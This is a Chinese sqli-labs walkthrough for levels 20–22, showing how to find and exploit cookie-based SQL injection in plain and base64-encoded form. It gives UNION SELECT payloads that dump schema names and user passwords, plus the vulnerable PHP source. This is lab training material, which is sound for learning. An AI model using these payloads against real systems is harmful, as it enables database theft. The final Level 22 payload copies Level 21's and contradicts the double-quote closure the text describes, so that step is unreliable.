zoukankan      html  css  js  c++  java
  • sqli-labs 通关指南:Less 20 ~ 22

    Less 20 ~ 22 都不能在登录界面进行注入,我们需要先发现注入点在 cookie 中。注入的过程和 Less 1 ~ 4 的 UNION 注入相同,不过 Less 21、22 意图利用编码的方式进行混淆和防御。

    Less 20

    POST-Cookie injections-Uagent field-Error based (基于错误的 cookie 头部 POST 注入)

    判断注入类型

    首先随便输入正确的用户名和密码进行登录,观察到网页回显了大量信息。再次刷新,Less 20 的页面没有变化,这应该是 cookie 起到的作用。cookie 是网站为了辨别用户身份,进行 Session 跟踪而储存在用户本地终端上的数据。想要回到登录页面,我们需要先把 cookie 清除掉。

    判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败。

    a' OR 1 = 1#
    a') OR 1 = 1#
    a')) OR 1 = 1#
    a" OR 1 = 1#
    a") OR 1 = 1#
    a")) OR 1 = 1#
    


    为了发现注入点,我们抓包看看,首先抓登录网页发的包,没有看见什么有用的信息。

    登陆之后刷新页面,我们发现此时网页通过 cookie 记录用户登录状态,所以无需再次登录。注意到所抓到的包的 cookie 中存储了用户名,由此猜测 uname 字段是个注入点。

    在 uname 中使用单引号闭合,网页回显语法错误,说明 cookie 存在字符型的 Sql 注入漏洞。

    Cookie: uname=admin'
    


    注入单引号之后用 “#” 把后面的内容注释掉,网页回显正常,说明该语句使用单引号闭合。

    Cookie: uname=admin'#
    

    获取数据库信息

    首先我们判断有几列我们可用,因为网页回显了 Login name、Your Password 和 ID 3 个字段,猜测有 3 列我们可用。使用联合查询注入 3 个常数验证猜想,得到 3 列的回显位置。

    Cookie: uname=' UNION SELECT 1,2,3#
    


    接下来的注入操作和 Less 1 的操作一样,这里需要在 cookie 进行注入,爆数据库名。

    Cookie: uname=' UNION SELECT database(),2,3#
    


    爆表名。

    Cookie: uname=' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema = 'security'#
    


    爆字段名。

    Cookie: uname=' UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'#
    

    获取目标信息

    该关卡知道 Sql 注入点之后就很顺畅了,构造出 payload 如下:

    Cookie: uname=' UNION SELECT group_concat(concat(":",username,password)),2,3 FROM security.users#
    

    关卡源码

    源码有两个关键部分,第一部分用于用户登录,可以看到 uname 和 passwd 都进行了强效的过滤。setcookie() 函数向客户端发送一个 HTTP cookie,当用户成功登录时会被调用。header() 函数向客户端发送原始的 HTTP 报头,此处可以让客户的页面跳转到 “index.php”。

    if(isset($_POST['uname']) && isset($_POST['passwd']))
    {
          $uname = check_input($_POST['uname']);
          $passwd = check_input($_POST['passwd']);
    
          $sql = "SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
          $result1 = mysql_query($sql);
          $row1 = mysql_fetch_array($result1);
          $cookee = $row1['username'];
          if($row1)
          {
                echo '<font color= "#FFFF00" font size = 3 >';
                setcookie('uname', $cookee, time()+3600);	
    	    header ('Location: index.php');
    	    echo "I LOVE YOU COOKIES";
    	    echo "</font>";
    	    echo '<font color= "#0000ff" font size = 3 >';			
    	    //echo 'Your Cookie is: ' .$cookee;
    	    echo "</font>";
    	    echo "<br>";
    	    print_r(mysql_error());			
    	    echo "<br><br>";
    	    echo '<img src="../images/flag.jpg" />';
    	    echo "<br>";
          }
          else
          {
                echo '<font color= "#0000ff" font size="3">';
    	    //echo "Try again looser";
    	    print_r(mysql_error());
    	    echo "</br>";			
    	    echo "</br>";
    	    echo '<img src="../images/slap.jpg" />';	
    	    echo "</font>";  
          }
    }
    

    第二部分是当 cookie 还未过期时,就把 cookie 中的 uname 剥离出来进行一个查询。如果查询用户存在,则把 HTTP 包中的 USER AGENT、IP ADDRESS 和 COOKIE 回显出来,并显示 username、password 和 id。在上面一个模块用户登录成功之后,也是进入这个模块显示的页面。当触发 “Delete Your Cookie!” 按钮时,可以手动把 cookie 给打掉。

    if(!isset($_POST['submit']))
    {
          $cookee = $_COOKIE['uname'];
          $format = 'D d M Y - H:i:s';
          $timestamp = time() + 3600;
          echo "<center>";
          echo '<br><br><br>';
          echo '<img src="../images/Less-20.jpg" />';
          echo "<br><br><b>";
          echo '<br><font color= "red" font size="4">';	
          echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
          echo "</font><br>";	
          echo '<font color= "cyan" font size="4">';	
          echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];			
          echo "</font><br>";			
          echo '<font color= "#FFFF00" font size = 4 >';
          echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
          echo '<font color= "orange" font size = 5 >';			
          echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
    			
          echo "<br></font>";
          $sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
          $result = mysql_query($sql);
          if (!$result)
          {
                die('Issue with your mysql: ' . mysql_error());
          }
          $row = mysql_fetch_array($result);
          if($row)
          {
                echo '<font color= "pink" font size="5">';	
                echo 'Your Login name:'. $row['username'];
                echo "<br>";
                echo '<font color= "grey" font size="5">';  	
                echo 'Your Password:' .$row['password'];
                echo "</font></b>";
                echo "<br>";
                echo 'Your ID:' .$row['id'];
          }
          else	
          {
                echo "<center>";
                echo '<br><br><br>';
    	    echo '<img src="../images/slap1.jpg" />';
    	    echo "<br><br><b>";
    	    //echo '<img src="../images/Less-20.jpg" />';
          }
          echo '<center>';
          echo '<form action="" method="post">';
          echo '<input  type="submit" name="submit" value="Delete Your Cookie!" />';
          echo '</form>';
          echo '</center>';
    }	
    else
    {
          echo '<center>';
          echo "<br>";
          echo '<font color= "#FFFF00" font size = 6 >';
          echo " Your Cookie is deleted";
          setcookie('uname', $row1['username'], time()-3600);
          header ('Location: index.php');
          echo '</font></center></br>';
    }		
    

    Less 21

    Cookie Injection-Error Based-complex-string (基于错误的复杂的字符型 Cookie 注入)

    判断注入类型

    输入正确的用户名和密码进行登录,和 Less 20 一样网页回显了大量信息,再次刷新 Less 21 的页面没有变化。判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败。

    a' OR 1 = 1#
    a') OR 1 = 1#
    a')) OR 1 = 1#
    a" OR 1 = 1#
    a") OR 1 = 1#
    a")) OR 1 = 1#
    


    抓登录网页发的包,没有看见什么有用的信息。

    登陆之后刷新页面抓包,所抓到的包的 cookie 中的 uname 存储了一团乱码。

    “%3D” 是 URL 编码中的等号,这个形式我们会优先考虑是 base64 编码,拿去解码看看。

    由此我们得知 cookie 会对 uname 进行 base64 编码,这种防御还是很弱的,我们测试的时候也进行 base64 编码即可。在 uname 中使用单引号闭合,网页回显语法错误。

    Cookie: uname=YWRtaW4n
    


    测试使用单引号和括号闭合,网页正常回显数据,说明 cookie 存在使用单引号和括号闭合的字符型的 Sql 注入漏洞。

    Cookie: YWRtaW4nKSM=
    

    获取数据库信息

    判断有几列我们可用,使用联合查询注入 3 个常数,得到 3 列的回显位置。

    Cookie: uname=JykgVU5JT04gU0VMRUNUIDEsMiwzIw==
    


    接下来的注入操作和 Less 20 的操作一样,在注入之前使用 base64 编码,爆数据库名。

    Cookie: uname=JykgVU5JT04gU0VMRUNUIGRhdGFiYXNlKCksMiwzIw==
    


    爆表名。

    Cookie: uname=JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSwyLDMgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYSA9ICdzZWN1cml0eScj
    


    爆字段名。

    Cookie: uname=JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSksMiwzIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyBBTkQgdGFibGVfbmFtZSA9ICd1c2Vycycj
    

    获取目标信息

    构造出 payload 如下:

    Cookie: dW5hbWU9JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb25jYXQoIjoiLHVzZXJuYW1lLHBhc3N3b3JkKSksMiwzIEZST00gc2VjdXJpdHkudXNlcnMj
    

    关卡关键源码

    setcookie('uname', base64_encode($row1['username']), time()+3600);
    
    $cookee = base64_decode($cookee);
    $sql = "SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
    $result = mysql_query($sql);
    

    Less 22

    Cookie Injection-Error Based-Double Quotes-string (基于错误的双引号字符型 Cookie 注入)

    判断注入类型

    判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败。

    a' OR 1 = 1#
    a') OR 1 = 1#
    a')) OR 1 = 1#
    a" OR 1 = 1#
    a") OR 1 = 1#
    a")) OR 1 = 1#
    


    登陆之后刷新页面抓包,所抓到的包的 cookie 中的 uname 存储了一团乱码。

    “%3D” 是 URL 编码中的等号,Less 22 使用的也是 base64 编码。

    在 uname 中使用单引号闭合,网页回显语法错误。

    Cookie: uname=YWRtaW4n
    


    测试使用双引号闭合,网页正常回显数据,说明 cookie 存在使用双引号闭合的字符型的 Sql 注入漏洞。

    Cookie: YWRtaW4iIw==
    

    获取数据库信息

    判断有几列我们可用,使用联合查询注入 3 个常数,得到 3 列的回显位置。

    Cookie: uname=IiBVTklPTiBTRUxFQ1QgMSwyLDMj
    


    接下来的注入操作和 Less 20 的操作一样,在注入之前使用 base64 编码,爆数据库名。

    Cookie: uname=IiBVTklPTiBTRUxFQ1QgZGF0YWJhc2UoKSwyLDMj
    


    爆表名。

    Cookie: uname=IiBVTklPTiBTRUxFQ1QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpLDIsMyBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgV0hFUkUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyM=
    


    爆字段名。

    Cookie: uname=IiBVTklPTiBTRUxFQ1QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSwyLDMgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSB0YWJsZV9zY2hlbWEgPSAnc2VjdXJpdHknIEFORCB0YWJsZV9uYW1lID0gJ3VzZXJzJyM=
    

    获取目标信息

    构造出 payload 如下:

    Cookie: dW5hbWU9JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb25jYXQoIjoiLHVzZXJuYW1lLHBhc3N3b3JkKSksMiwzIEZST00gc2VjdXJpdHkudXNlcnMj
    

    关卡关键源码

    $cookee = base64_decode($cookee);
    $cookee1 = '"'. $cookee. '"';
    $sql = "SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
    $result = mysql_query($sql);
    
  • 相关阅读:
    【USACO2017JAN】 Promotion Counting
    【POJ 3468】 A Simple Problem with Integers
    【HDU 1754】 I Hate It
    【Codeforces 20C】 Dijkstra?
    【POJ 2407】 Relatives
    BZOJ5249 九省联考2018IIIDX(线段树+贪心)
    BZOJ5251 八省联考2018劈配(网络流)
    BZOJ4200 NOI2015小园丁与老司机(动态规划+上下界网络流)
    BZOJ3876 AHOI/JSOI2014支线剧情(上下界网络流)
    LOJ117 有源汇有上下界最小流(上下界网络流)
  • 原文地址:https://www.cnblogs.com/linfangnan/p/13853110.html
Copyright © 2011-2022 走看看